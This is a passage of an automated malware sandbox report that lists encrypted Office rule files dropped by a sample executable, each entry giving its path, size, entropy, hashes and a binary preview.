Preview:	<?xml.D0}.Io..9\|........2_;.P.4.t...>..g..o%..aVG-D.g.n...J.....y.n.K..Te...JC7.g...)E.V..Y-Lz.l.".!..%.v.aG.X..%..h(u.+".&.,.{...;..E9Ku.$c..a/...<.3.!..!.\..ZV....Q}+.}\|..}...T,T./..}.$.m...Jy...O.....G..?.:....q.R_...X.Mg.b...<..d.p..62..............z,d....!.....='.Da...k..S... .U..n@.fW.c%....r.@..Q...x....}..3..r^....s.`........``z0...y.u]...o.(..yL=......5.xm',./X...!.H.~Y'......J..x..ub.S.e.;&.ce..B..@?20%....A.yW{..B.s... t..R)O..&,.W.O!..g...Kq.0........].k.#.SIS.........~Xa...,a.y...u....9...s96.}.R......O$@.5.3\|.z.....h..niS.8..t..ax....4.=..1.#...a... '.x...Z>j...+...f=.....aQWk.vJ...F0...-...\|.>t.....W......H..>..A.k.7XN&...e8.VV$.v.gd...].a0y+. ...=...C....../. [*.S%..S...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120667v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.696534222709146
Encrypted:	false
SSDEEP:	12:401MvohbgaOcFl/KFUThzdId3kJMECYSN+k45ra2SzVqmEhFIBUfntysBQ/YV1+X:XMvoNAcFl/ckSN+h5raFZqmEn6Ufntg1
MD5:	9DA6D4056DDF6C2DA5DD45BB227A1575
SHA1:	B97C41362EB772A3275BA7E4E857DD6A3228BCDE
SHA-256:	6B47F18760F1139915DA0A0B34FBF6A85677370D0DC1892B245846A714CC730F
SHA-512:	AEE2296F6AC89487813AF1D3E00DCE670F62C427F8B6F0EBAF6690759C35185FBF70046FE855A5E3C698F944EE3FD1ACF29F83CD2DDDC50456294CF6D01B55C2
Malicious:	false
Preview:	<?xml...<<.........z.,x.........\|.=S...........K...%.9z.v..s.n>..."%%.v%`...aXGa........5.h,.tS...a..9.8.re;=..-..?Q....p[.Y.Na..4U.=..........$....>... cX)/&....,"...m.S.}....V.U...T{p\5.b...~m..%.)$.%...R;...2.$..(.j}`....Z...x"GY.#...\+...V..N.Aj5....J..S...!{.H...3..W..2....N...m..V.7.......$M...Kv[.D.........k....m....Z4NB....-.....mv.B.:..\H.Z.'w....h.e&s.....7..d4eH.-..L..w.....c&.b...W.e....%Bi..+Fd8#..[h....a.s..J.K...%.7.:../.I....rP03V..%.Ow!lm.t.;...#.Z.z5.0a.n,&.:C.[..7..O..8..}...2........j..e../.t&T.`^z.mE..k..De..0U.......H..H{C.p.W4'i......6.6.r.y.......l.:/.'.ym..Y3.1. ........A.n..Rv1=......[}.~.+.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120668v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.69472589425631
Encrypted:	false
SSDEEP:	12:GAyPz0I2Fhr0k4IKPiJKV3gIOpIxiTYU67lJjrdIN2UXvC7f5ArjUgI8n+4E1YHm:GAi0Imh9FvJKtTOG1UUPO2OlU8dCbD
MD5:	86413BF2D608154FC3A28B0BB3F8A712
SHA1:	6414791C2599E558C019A225FA12E303125FEAF5
SHA-256:	4DD31608B1C72B4FCF6EB99172DCA1E6BAFF6A5883E459C68F163E0BF4E30407
SHA-512:	8FAE7C1689A1CB449BBB03D0D9DEC9E443ED5A71B5AD6B7A928132612208920C982CF8D4B3C0676D91209EC7E0A7E378ACC9398FF71BB54FDE6278D07A64B74C
Malicious:	false
Preview:	<?xml...D...X...>t.Y....4.\l..-.`..;q~.....\|....3.N..H>...1gt+-}...l..[.A5.-..5&...^9x...S..lE....v.>.[..gh.0...?cV..[...b...U...\|...+.e..s..N....r.j..X.b.....Q....=... ...!6..L......./.=....I..vS..D2.^X...%.....bK5_.54..!.Vt.\...:._.oL9..9_.p.S....%bE..9VVX=^..W.>..D..%...6q~A.......DyJ..T..E..t.mC^G.uRh=.........rF.F.._V$n..)......Q.qvF...S*./.i....v...@SR.nNt..l..8.\|......a./.z...#@.<Y.......?..I..\|.p.?.yRB.z...w7..c%.....M%.R..0..$....=.D.....#"..F[[QU&..B`)...z.z7....xe..G.0...`;a.)~...........#t...k....0.............FR.dL.y.c.@7..W.8v.5.E......\|.......$.E.s...FQ... ...Z(:.3z........S?.k4-$.a.R.....H..lAhJ.8..;.N.Q.A\.`......^.^......k.....t..j.D....1_JgB......K64...gv.N....v.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120669v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.712222439388145
Encrypted:	false
SSDEEP:	12:r/O607CxLNwkmFNI5zC/tW+S5MTzNczIq4wQ72qsBs7Ay2ZMiwplVDBfzwrARsiL:r/OFCxppmqk8ATAI8zVy2ZrwplVDBf57
MD5:	CF2ADE854232B064FF2667C12609D5FC
SHA1:	F064C57E39798D9DB3B92F2AA5426049BF85F14E
SHA-256:	704BD019EFEA3998060BCD82EF359A42C3AD5B2FFC7E20FCB58C5D327B1436B0
SHA-512:	EB06E74DC69C658FDB9F83F0CB4F9F594E86861AF8ADF08BF66D6695092C672271ADCE9BCB43037B16F3EECB918020E42A0D7AE8171B3CEEE4B8718B18105D6C
Malicious:	false
Preview:	<?xml..v..W.;.(......>.....d&.xt.L)..F\.4..X..a...fI....^H.<Cu.3G.....z.T..E...#$..#V.6x.u6......W...I+F.T..&....kS....>......m...9.O?...J-.{h.\.A.fX.4.j....\-....V....l...;.g.'4..........iR.q.H.......C.....7.<..LE.#......zZ.%..Y#D.T3.....wo0.m..q..x.B..4Y..x..Qfx..G..m</.?...1oG...t<.C.(/.-.g. ].'f~n.2..N.2\......M.K=h.Jz..x.lX...F....'..v#&JSR.%9.(V.2.......]....7...!@...j..t.u...Z.1i..W.8..U...e..[.Br.e.......S........@iH.....C.$......s\|......4... .L.V..5C....E.{.M......1......'..vK.?=.D!..b....L.o .5Q.h....m.%..fx... .$....._Y..e1a....F ..VAFg2.P...w.3f./...)..`>..q?>.g....cZ^.#..Nawn.M.]]q...m..............D.X2...+.7..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120670v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.712938533781777
Encrypted:	false
SSDEEP:	24:DTAA8L2i+tGGadf7L7Da/xp89o3xzsP1/2Rm4HbD:PAVL2dtGGah7+/P89o3xAPZOTD
MD5:	AB76AE23BD67C58907BCBD4613F1C291
SHA1:	2C9363F993EDC332AE9D42329D2601E6445806CB
SHA-256:	854D9F5120918C683E9857DFA33D84980417B9FED73C1A0864C3C3659096C0C7
SHA-512:	331AAE3D78FE7D3F4D87544C6D53AF58CF57A115ECEA9FFA3862D2F9BBE9E7151F63CF0D146BBB20586BB9F616D1312AC819AE1400B971C9A0D15EE6FDEB54CD
Malicious:	false
Preview:	<?xml.}&..u.=.z,S.....N.E@../..n+}...........vDkT.U..'../......R..f.M$.Qt.....:E..S...id.....r..o(.n..`.".t.n..>.Q.....S7.U...V7.....#.P.....2.....{......y..u..qymF.../}..x .~....\|&.......vWk.{..2.H.K.....".{.IBwE.....%igw<.`].=.&...'$.Pm5H....1.'.........z.yT..}....U.xS..m~;.94..N.._G^.........X6.l%i.D,.{..b.o..T.h....[&..m..I".b........\.t\......h.EC...Tz.m.Et.A.....t...%..p...."...&}.p.cZ.l...^_\|{...t.X._i.j'..~u'..d.....f#Y...THY...j..+).s;.~.U....'XB.....zR..i....^y-.........`..Y........?....>.....1..^..X...-.}.'..24.Q.=(.E.8.N..t._...4...+...u..\#F...@............w.cZS21...r....c....i.0....q.;z..).DK......7E.....0....!.....3.O...[...^.....t8..(.THO:-....-#..jIH..m.j.-Q..n.6.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120671v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	765
Entropy (8bit):	7.729676010237847
Encrypted:	false
SSDEEP:	12:E556DwLa/CxbcyhxMv8O6/lwPy84W8EeeQ0W+Y42cBCm78NSCB5JCL1+cii9a:cQsLa65ceY8Jx6IWY42xmgSwCYbD
MD5:	86F4A304870044D3711A504082E023BC
SHA1:	C148E36C4B07FC0B165F958E74561DE0698B361C
SHA-256:	5342F4695F8DBD0F98FE1C869FA7776786A7AC5BEB79A20D903934856AA9F8BB
SHA-512:	C0D1DEF4B54FFD8EC846E827677639CF6BCA8DF6E4FC9C205F7E6FD7F86CE9F595E21312EE14041FBF6597094B916FF6B878BAE95D8802FF818ABB7D8A32D2DD
Malicious:	false
Preview:	<?xmly...\|}.;P...Ag#..M..$../..FG.\^.}j....Z.V.@.$?.x...k.)\|`i.L.....^.....v.Ff..W 3z.n.<...#.......].{j...1O...Z1...-.qO..&.......1..j.8N.2......u..,......Q..l<....-c..)..7{.....z.......".S.j9.o..EH....?f...B.....&........e.{{9`@0\|....T.k.N.'x.:Q..v.4.(.C.T..-.b.I9.g.p..C\|...9.0......P.......X.J.....5...DM#..........L..re..}GXK....OJ.!....(z\..=.......b\Y.U....Q...^..=....LD.........o.#Ew.G..w.4az.r....];..l..E.M..Q..+....-.^..=..X..Tij..M...S.......7..\|../.kU'd...=.x..bQ.;P....;I\..!;6h....i.<..i....$.4...i...I..s.....h4.Kd.....V0...O.X.......l...O..;......G.-{.gnR8.\|.#.f.c..+IjC.......*..!hc}.. K.&.....l..i.?.X.G,2..5....Y....n.....B..0t.,.,...<..)SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120672v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.7007673435756745
Encrypted:	false
SSDEEP:	12:6XSP2lZSlRtqcPKQsfGe1y3cSd9r8ZvgF4/a4Aov7YemOpNhXIpM9j0G9PB1+ciD:6XSP2vS4LSd9evgGa41RmGHYaZhSbD
MD5:	7D089A1C172D9CFB9388119F3FE0BFA8
SHA1:	25E83EE4E4D3F7BD922DDCC680074C55A0049738
SHA-256:	EE865024F8A9EE913F1C6D6B195D13C44C7D278BCAC2D376ABA50A44D3D0CB41
SHA-512:	11ECB1717A02118A7C20F61526740115ED55A49FA563D63E0EDC16189B59613CB36B2791D465CA187EE5ACAB0BAA727DA6B9D41AF7F5C5B081144E2AED453266
Malicious:	false
Preview:	<?xml..Z....H.W.c.....p..._^P.".U...r....h..._.xi}.IeWXq.."w%.RH....S...s}.J&....~.U5.-b..Q..B.A.\.e.B-Q8z....?.b...CV..~.66.4.......x%V(.....m.q.Q%....<J`3RP.......A.0'JRx\....Z.......\|)o....+.[..:f..v.J"..S}.".X..n..kj..3,h.].\|m.[Z...8....xo.I. .x....H2{ l..L...Tu.S...Z (...~)...f{..@.f....J..5(.!;.....k.#>o.....qB...V...n.^Z.q.]m...E..L..me.Y...-(...~%..&BEk~.).C...A:....JS...!@B...WeS........eQ..i.....W.!.r.:.t.P.p........>.....X.)...z....k0.>.1.^....f.v3.....c.3......\|..I..jG..F.......EO..}.\.....J..uM.P.iNV.6..3.<+...#G.#...d..2..9.Q..\|.0.c`..s.....*...A..<N...(0d.F...a6!.Y!6.....Q..u.z=Z.....).G......^.W..g.X..-.........%]..&2.i.j....B{q%.+.z....n........k..aj....U.e.v.}"o..:...=...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120673v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.6860405632566255
Encrypted:	false
SSDEEP:	12:G4JP/TZA1JlaORU6EKiV2Hg+CIPwLVlFi6duF0BOzuThCPdaeNZE1pUvI2kuVcXT:GiP61O6EbVog+Cgw/zwFq+o8NepUvI28
MD5:	188A22228C5B015AF7D12C111E091921
SHA1:	EA3C3F258822FF378A8AD5D70A010942AC6D049E
SHA-256:	3E3E259C1F591072123BDC9FC332E4E3C94026980DF677DEBBA6696D17D81417
SHA-512:	385AEAC8A885671BF19CF9729E3CFE8FB323B76183116E3D435B5A85ECD44639037EDF9E50BD199B17BB91C830160FF6A76F861CC2CCE1F7393EE451B7A1D356
Malicious:	false
Preview:	<?xml..b.{m..Ev.I..&...FjiV.a/].i.$...g?'E...>.PV.YT..7yVr!..i-U.O.[..V.D.lE/.f..v?....oTv...5.....X&..uJK.N#.gN..!.. .D.X-.5..Y.#...is....K...-?H..U.../.)....p.I.....ug.....]..<....6..&?.c>dgw.....X."<$s.....q.<.-.@WTr,..Z..:2.....:....6.2.......@t...k....].....v.9...\T..%.z?\|..=..H......F..-d..Y.(+.....L.}......7.)...?o._.t.l..6.t..bTU..4.W..!."..+T...........Q.:.B..\..`Jv=..k5.F...W.............8...{..7...E..w.....#}%....8.....PK.1..t\..h(.P&......H=........W..]..;...lff..S.%..[0......V..........f...T....(A.*...T.s;.W..@..jY..D.....l..v.0P.!..6....^.....W.n`...+..V@T^].v..'%L...0...6....~.W.[2.6...W...^.1.88u....}...vH.\|...U.F.2......M.}jh@.F~.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120674v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.695155364323928
Encrypted:	false
SSDEEP:	24:Nf2a6aqzOLsKVhwOaixSotmG3CjLmdbUhDbD:Nf2d/zOpvwOaiUwQsbUhXD
MD5:	F11EE518D0C3609D2117A9864E1ED5C1
SHA1:	0A0E166FA7B9DA631D70F0F694885F1292AAC0C9
SHA-256:	2263F0E1004331BC809C15B0C2ACB627C31F439ED543437143C570A049C788BC
SHA-512:	914015BA254992742713ED25350C81052E8F34252511FAEBAEC64B6B3F96572B0EAE960124E5EC827FF292984AF99ED138166626302076AC6432DA2443208EF5
Malicious:	false
Preview:	<?xmlZ.z.^6......FQ....e@...G......z^.s..._.@v...[..h..\|Ve.<....].....;.R.o.a....&...%...2.l.h.....7.....Z.._.T..9.0c.].8.z!..d.]..1.UM.A..UD..I.........<.....t..x....=#-5q.6`.L....k...`.........q...X....$.>....~l.u%Xi..Z.....[....[.T..b.......sh..t....o..&o...x^v.\.CH...gai.8}.7F..He......r0.......'11Sn...hG....+M0.H5.5..KM.Vh...,2#.UVG.f.L.a~..Q.T;.&/r.Z"w<..Y...{......b...n..c.A....(.?..d1p.......1f.-.T....#\| .;k..S)..7...]..%...r.....?k..#..1....~%.c.`o.....N..?.....\.~H....<.[Pi.....%c..S.%..i....<.....Bk..P[........;...;...!....o....{.+..I..{jx>.....c.".P.8.Zby.A..#.w..5...c..b.;k..['.G.....p.gLbU.]....`.+.IO!.e8C...>pa.%O#..\.MP..L....s..........HF...qN.../..m.8....@..R.....R.h.Z.DSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120675v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.759168423253171
Encrypted:	false
SSDEEP:	12:wNUJO5DJtqQZ9IRzT7rTNvzuEWQ5M7efR9PtrARfDY2MRGLofOHSTfkD3jG8Vf14:KBNqQDGzT7/NvH5MKZRtstH8AzykjzV+
MD5:	7F7EB2C8CBCE3CB616B5C6CF0E9B9F12
SHA1:	704D863322DE9909A53115018E2003D4D31DD91F
SHA-256:	90D1CFE6B989A45EC3DC7F408482F3C877C3CEB9B4EF441B89B7B484AC721160
SHA-512:	CB3B4C318DE6B68C6474C9946A522890D58D59BEF6F22757003F98DE5FBB731CD2270114C4BD295F44B8D292035FB88260BD4D8A27A15B44F04BAC0446CDD2E9
Malicious:	false
Preview:	<?xml.W.V..U.8D.I...-.e.....c..YO.`..F........B..O.0.....aG.:.r..]j...-.8..@.sa.i{..%I..uN. V..:VX1t.4G......8."..-....y=...g.&......6.#/.....\_.G..rzL+.9.-_.8..<&KAU.J.Xl8..$.8j7......mx.C.2......7D..3..S..0p....a...I.#........,.)...%......9X)....~...}..C..X....w"..:N..$s..z....."N61...a.....n.J..!.j\|.UzI.o..)C.t....n.,.?.d.L.....3..lp..y...R..y..U.....".u..^.\...-...R.:..'b7...E.r.g.l.t.W.%.>.`..@..:2....-...]!~.@....(..........cZ.<q...yHQ..V...+.....[.......0=>....k.W-.c..0.D.M...$.'..._.7...vH,...rC"<."#S..6..U.Z`.....9\|)...=.4Y.=....b9....\|..W...[./.w]..R.........7].. ,$..;.&...Ie....P.._...e{F.l8....K^#.P7..?../#Q.Y....W.......SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120676v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.716661737738836
Encrypted:	false
SSDEEP:	12:L4R6JmoY95kB8x48Bn+0V8Fxnra579TrNWE9Bz+OtckCXH6bPyJHaZati2/6ZUTt:kR6JmzcB8xlWde7xrN+KzAGc6V2HFbD
MD5:	23E647638F9E455AC52FFED6F7626FE0
SHA1:	B6DB28136F225EBF2232AD5736C32A861870523B
SHA-256:	7E30957E7FCC14DD640630ED0FD5E18CDBE9264FCBAF9E05DE3F5BDB704C7734
SHA-512:	6CDF8CA30582EDF8AD3CB94AFEA2E00FF338057B61F944FE6E6BD01034D8848E0E52D2BE5B340D093AD7C7BB3900C116211770EB314E06D070140D7F0E8A5D6E
Malicious:	false
Preview:	<?xml.y.uSsXJ.%.b.....@........+..4.`.......W...d56.z...7:.&..,..~=O.....:..dN.;.da......S'' ..:.x..'g.?.eA...6...1...E...6.......#..we.n.L....&.N..frd..z.%H..VF~..,FS.7W:..]3.!.e.p..9..&E.cT..E.. W.~.R....!__..S.{.G........E*....g..F..Q..+1G.I.u.....[.BX.n>..p.g..........!p:G.p...Y..ce.2&E......b....5Q.l.........3...v".."....\M....X....i..7IL.\..i...u..i.m.s..... 9qE....r...........K.[.0.(.<k..\..#.8H.0..w&....G....0.3.n.....<m...c...(.:.<.-[.f.e..^.sb..u.....$Wy.%Y7..2..&..B_..<^......a.R..Cqy...`.(...oHw..F]].i... ....z..eM..6tq.bn5.w.r.X1.....G.;.).....9..KM.s.n3.b..q..Y...4...H....?..n.!...hw../\|G.$.hO.....<h\|..6m.........,G../.`..{X....e..6....<...!.OL>.d....Z.r....R..., ..)...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120677v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	738
Entropy (8bit):	7.683692736477592
Encrypted:	false
SSDEEP:	12:sHur1NhI1+vx3OTJVjSeIMisRSm5onf0fN4fq4zhZUxbVSt8YxNyD1+cii9a:mq4MMSeI8sm548Nf4b9yebD
MD5:	26ED3D4319A16F97A1B2407E1E68D937
SHA1:	48BB35A346005C9874D8342EEB2019432F56746C
SHA-256:	7367950979EF1717D81C01CA6231E7EC6E268D4BE3F0E798DDB8585BEBBD2D6B
SHA-512:	B8C5EB8D1499F9E70FF1D657521CF4F0AA4031EA26850F1A671FEBE734B56AD4F9005B514A3BC573ACD5555F3B76B8DC2934BF0D968EF3B1C1849FD62AC4780B
Malicious:	false
Preview:	<?xmlQ"H..>.R....j.C.u...bCO....Cq 9~.r_..Ey.I[..RC?...?d..!4....&Q....6X..hi.L8.r.xX.........M.].......A~..C.A...e.....U.#^.kH6_.W..s.~.U.=f.}`.!;.D..(I..C..Cyx.B..I.2C..d,G...4..YmKn-..hl..}.>m.j.:5.m...x0k..-.T..kN.s..3..v....`..[X"rbu. .D`bK..N..m._...>.2%...w.\......G.O.dx.....U.#.......E......-....C.?...^..s.gD3.p.2o.@;p..msQ.>.c...([.J.....tA.'....4.\|...ii..6U+.'..c.c.h..W.....v.J.8.O:[.....F.BI.*\|.i...g.....k..]....%...."F..]...h....`3Zt..1\|m.OG...E......~.> ......~m.....T.BC..\|a...n.v}...WR...b...F.a0.A...-..E.o...!...u./Ws..DU.-..Xx(.m......QZ......@.[p.F?..o.Q..>..;.$.4..xz..U}....`]X{.{./.!mK".H..?....:...(W.R[-SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120678v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.734637923838864
Encrypted:	false
SSDEEP:	12:T+Mil3tgeF1NY6SmX1Dti9mCty2ijx6YiVtMUaoIw8ICxMmMCtGRYEk7b0QYLo14:ol3QE1Dk9TQ2LVefoIjIb20QYfbD
MD5:	BB0E94ECFD9E41FC85B41F5AA7137BA8
SHA1:	44F30C1307E2425B36F6D22C27688EC8723DFE76
SHA-256:	8D2B562E82DF2E739306E35808840350345A24700B9D696A1DA4E714F73AC818
SHA-512:	59AD2FD744FD675FE47A929CB9824C7BD9C53F44862760D29EE2E3946ECCC771053699B5C4C054D109C751AEA2F2D6DF76BF0E43F590CB67061A144507DECBA3
Malicious:	false
Preview:	<?xmlG...=...`.I.c..V....:9)...[u.6o......:tA"..c...i\|...y.].zVB@......9[.. .....i.N..[.v(.w......p...sB.T..j.H...,.iU..m.2.:\..g..}.@.KXW..G.I...g.Q)g..@.....P....l`....L...M..3.d..Y.6?...R:]...._....].b..}...A...~..J."@...m.8.m.'...Lh...).b.....l;>.G..qG;=. .)^.x.n.Y. .G...-g....Y.x. ...#.k..=,:..B;..N....&~.../......f..u..)..mu.^gc...5.\|...\......[...9...Y...h.X....O0.h.ZH...'.IK.Aw.......4..f.]......c.+0../...B.....W.tPd..1b.-.\....1.H.Ap...%...Bm[.....-<.O...P7.,w#c.L.]/3....&%8..I.i..&..>MX{)..."tB~g..L.....w....(.....a..F..E.O? .w...P.a..Sg..T.r......o...:M..N....D2D.3L.zLv......DC.J.VK7..\.Y....).90......n..^....o<1.Sf.\<@p..V.PB.1.~O..-..@....(.....$af...*..V.S.wU.#SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120679v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	507
Entropy (8bit):	7.502088486981797
Encrypted:	false
SSDEEP:	12:OgoNC7o5cfhSjVQG6tn3Ynhy4itDGkw9k3rIrx1+cii9a:1Vo50kV1gn3KmDGnk3rjbD
MD5:	F891A2DCEEDC38A93803A1F317CD3047
SHA1:	E2DBB4A17DE5861EE1A3D60DC2BFBA04900F849B
SHA-256:	99B9619C14168B096CFCE3F154A859F4173B299E0288121A7485718396F13527
SHA-512:	40EF63B18F2A5F75E9B05783FDF8B95B94DFA6A1081CB7BB0383AE6CF0DE1CB4DF7DBE397F12EBACD75CE68F828AE8AC199B343607C40998E050DB60F965CD18
Malicious:	false
Preview:	<?xml.a.....KR..spQQ..Y.s..G.WS..y...J..*P....R...H.a..r...L;.s.N...._.T....hf.LD.............7...].'"m.Z..a....#...ge.D..7.'L....P'.P.V.lK.Ms7?LU..:xC.#......n0....Y)....h...HS..U.q5...N.Wq.).5..+..]..@h h.K....z]m...'.C.h...l3...6_..x...-.4....1....\#...D............B-.K.<7M.@..#..{W...U.Y...I!l...^D....&d....E...x..._...q.Yf}.../.?P.i.l7z...A....C.Etr....(.I-Y..@}:<...@Yd..1i..#N.or.x..x..P..,._....w...h..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120680v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2285
Entropy (8bit):	7.904767859027272
Encrypted:	false
SSDEEP:	48:6fhaiSaBqSqrw2PCb9w35l0dBURK0iQgjgp7XR+D:6fgzagSMfPi9wQdO/Vg47s
MD5:	FF171FF43DDF98E148F2FD27902A0705
SHA1:	63AC153A15861A7F496D959695ADFFC49EB19254
SHA-256:	172F265B7818648D07F4AF7998DC26ABDF2F88EA9B4EEE0AE94A0D421D36CDE1
SHA-512:	1B82C1170C484A74A226D3C5A9A51000D322C16EE0C0105ED0374FFE17B154F32A0D4666F34B02E2B02AC27D52EDD3484B91DBDC97251BC004FCF642F65729C0
Malicious:	false
Preview:	<?xml`."r.@\|eCk93..5.........o.h3.<. `..l" ..L..8...L...{.!......L.xW.X1...g..AU.:.p...".#W?.3.0.R.....#W<...c............_.P^....... w.\.\.u....XQ...h.z...R.\...at...9.....X....`......"..`..&...#...h...<....b...S./.>....:.g.....-01..K..."c.\|...H......vv.....IrT.-L-.$...B.93r&..B.'..N.m..V..Bi.c.TX...,.n.D.e.&N?..N..L.Hb.Oz?...f.IkGS..o#.;.!.sC.@..4...}.>..>..bVu\|i.F.3..!.(.S.......{....M....Qu.(..M.B......W%....%..;..X..?t..G-.....X.vZ.?..K.d0.9#.q'.....f9..Yz$..W......7.....G5.......#.}.t...(...-dJ_.e..%.Fy...Ae...O..+..,A..'=..".+............p.....,.o....k@R..s.b#..(.."Y[....@.hd.:R.T.MaP.Wz.[.R......3.k..E...G..8.Cf~:..............e...\|.....`Vo.#.[}....A+I!.4W...(.%G67..'2...)7V.......... ..On.4.....'._...,D..A..@....%Se`....X....h...V.....t.-.....H.O.......I.p...a...^.}.1. f./.oQCg.\|K.....$...3.8...XW....{.~. ....$.../6x.aJP..[....W}.AHQ?...UL.#Y.....IPh....P4..h...#K.v0ldak......2...p:.u...[u..y...?......=..Z8,U.Y.n.T7.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120681v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1291
Entropy (8bit):	7.845082381875379
Encrypted:	false
SSDEEP:	24:qZqcPloEk2CQ3qdfDscvRQtMKM3BV3DidJhKp+r1wvjvKvbD:s9pPCLfDPR9933DShKAr9zD
MD5:	155A7DAB401D7D7C8F3F53BF2BC37435
SHA1:	234C61FA62BFE515CCAAE25AD151111CE1583330
SHA-256:	819DBFAE4B1615849A7F0B73995B324F7922FDE60B61A45BF8C2DFBF609286D2
SHA-512:	DABB521CB63859B8E1162CE667F10DFE5782FA4389D1073A9BDE74057ED8A9364C9F41CDEC2DE5CA42E7B7A397DB3483169414898952B1070E74688B67015FB2
Malicious:	false
